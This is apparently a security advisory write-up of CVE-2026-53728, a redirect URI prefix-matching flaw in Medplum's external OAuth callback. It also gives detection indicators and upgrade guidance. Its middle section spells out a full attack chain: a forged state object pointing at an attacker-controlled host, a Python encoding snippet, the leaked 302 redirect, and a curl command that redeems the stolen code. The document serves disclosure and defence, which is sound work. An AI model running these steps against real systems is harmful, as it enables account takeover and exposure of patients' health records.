CVE-2026-53728: 
JavaScript vulnerability analysis and mitigation

CVE-2026-53728 is an improper redirect URI validation vulnerability in Medplum's external identity provider (IdP) OAuth callback that allows authorization code leakage and full account takeover. The flaw affects the npm package @medplum/core in all versions up to and including 5.1.5, with version 5.1.6 containing the fix. It was first published by Medplum maintainer codyebberson on July 24, 2026, and added to the GitHub Advisory Database on August 17, 2026. The vulnerability carries a CVSS v3.1 base score of 7.1 (High) (GitHub Advisory, Medplum Advisory).

The root cause is classified under CWE-345 (Insufficient Verification of Data Authenticity) and CWE-601 (URL Redirection to Untrusted Site / Open Redirect). The vulnerable endpoint is the unauthenticated callback route GET /auth/external, where externalCallbackHandler() calls getClientRedirectUri(client, body.redirectUri, true) — the true argument explicitly enables partial (prefix) matching via a requestedUri.startsWith(uri) check. Because the external login state object is serialized as raw JSON and passed through the IdP without integrity protection (no HMAC or server-side session binding), an attacker can craft or intercept an authorization request and substitute a malicious state.redirectUri that merely begins with a registered redirect URI (e.g., http://callback.audit.local.oastify.com/cb when http://callback.audit.local is registered). The server then appends Medplum login and code values to the attacker-controlled URL and issues a 302 redirect; a subsequent exact-match check exists but only affects logging and does not block the redirect (GitHub Advisory, Medplum Advisory).

Successful exploitation enables full account takeover (ATO) of any user authenticating via an external IdP flow. Because the attacker controls the state object, they can inject their own PKCE code_challenge, allowing them to redeem the stolen authorization code for a valid access token without knowledge of the victim's original secret — effectively bypassing PKCE protections entirely. Given Medplum's role as a healthcare platform, a compromised account grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and creating HIPAA compliance violations. The attack is nearly invisible to victims, as it occurs during a legitimate login flow with a trusted IdP (GitHub Advisory, Medplum Advisory).

No public exploit kit or in-the-wild exploitation has been reported as of the advisory publication date. The vulnerability requires user interaction (a victim must complete an external IdP login flow) and high attack complexity (the attacker must be able to intercept or craft the OAuth state parameter), which limits opportunistic exploitation. The CVE status is listed as Reserved and no EPSS score or CISA KEV catalog entry is currently available. Detection coverage exists via Qualys (detection ID 5016990) and Tenable container security plugins (GitHub Advisory, Feedly).

1. Reconnaissance: Identify a Medplum instance running @medplum/core ≤ 5.1.5 with at least one ClientApplication configured with an external identityProvider and a registered redirect URI that is prefix-extensible into an attacker-controlled hostname (e.g., http://callback.audit.local).
2. Set up attacker infrastructure: Register or control a domain that begins with the victim client's registered redirect URI prefix (e.g., http://callback.audit.local.oastify.com) and configure it to log incoming HTTP requests including query parameters.
3. Forge the OAuth state: Craft a malicious state JSON object with the attacker-controlled redirect URI and a known PKCE code_challenge:

{"clientId":"<target-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}

4. URL-encode the forged state:

import json, urllib.parse
state = {"clientId": "<id>", "redirectUri": "http://callback.audit.local.oastify.com/cb", "codeChallenge": "attack-verifier-123", "codeChallengeMethod": "plain"}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))

5. Deliver the malicious authorization request: Trick a victim into initiating an external IdP login with the forged state (e.g., via a phishing link or by intercepting and modifying a legitimate authorization request using a proxy like Burp Suite).
6. Capture the authorization code: After the victim completes IdP authentication, Medplum issues a 302 Found redirect to the attacker-controlled endpoint with login and code appended as query parameters:

HTTP/1.1 302 Found
Location: http://callback.audit.local.oastify.com/cb?login=<value>&code=<stolen-code>

7. Redeem the stolen code: Use the attacker-supplied PKCE verifier to exchange the stolen code for a valid access token:

curl -i -X POST 'http://api.audit.local:8103/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=authorization_code&code=<stolen-code>&code_verifier=attack-verifier-123'

(GitHub Advisory, Medplum Advisory)

• Network: Outbound 302 redirects from the Medplum server to hostnames not matching any registered ClientApplication redirect URI exactly; HTTP requests received at attacker-controlled domains containing login= and code= query parameters originating from a Medplum server IP.
• Logs: Medplum server access logs showing GET /auth/external requests where the state parameter's decoded redirectUri field does not exactly match any registered redirect URI for the given clientId; OAuth token endpoint (POST /oauth2/token) requests using authorization codes that were never delivered to a registered redirect URI.
• Application Behavior: Successful external IdP logins followed immediately by token redemption from an IP address or user agent inconsistent with the victim's session; PKCE code_verifier values in token requests that do not correspond to any code_challenge issued during a legitimate user session.

Upgrade the @medplum/core npm package to version 5.1.6 or later, which disables redirect URI partial matching by default and enforces exact string equality for redirect URI validation (Medplum Release, Fix PR). As a configuration-level workaround for operators who cannot immediately upgrade, ensure all registered ClientApplication redirect URIs are full, non-prefix-extensible URLs (i.e., avoid bare origins like http://callback.example.com without a path) to reduce the attack surface. Additionally, binding external auth state to a server-side session or signing it with an HMAC would prevent state tampering even if partial matching were re-enabled (GitHub Advisory).

The vulnerability was reported by security researcher sAjibuu and published by Medplum maintainer codyebberson on July 24, 2026. The fix (PR #8749) was reviewed and approved by Medplum team member mattwiller before being merged on March 31, 2026 — notably, the patch predates the public advisory disclosure, indicating responsible disclosure practices were followed. No significant broader media coverage or social media discussion has been identified beyond the GitHub advisory and threat intelligence aggregators (GitHub Advisory, Fix PR).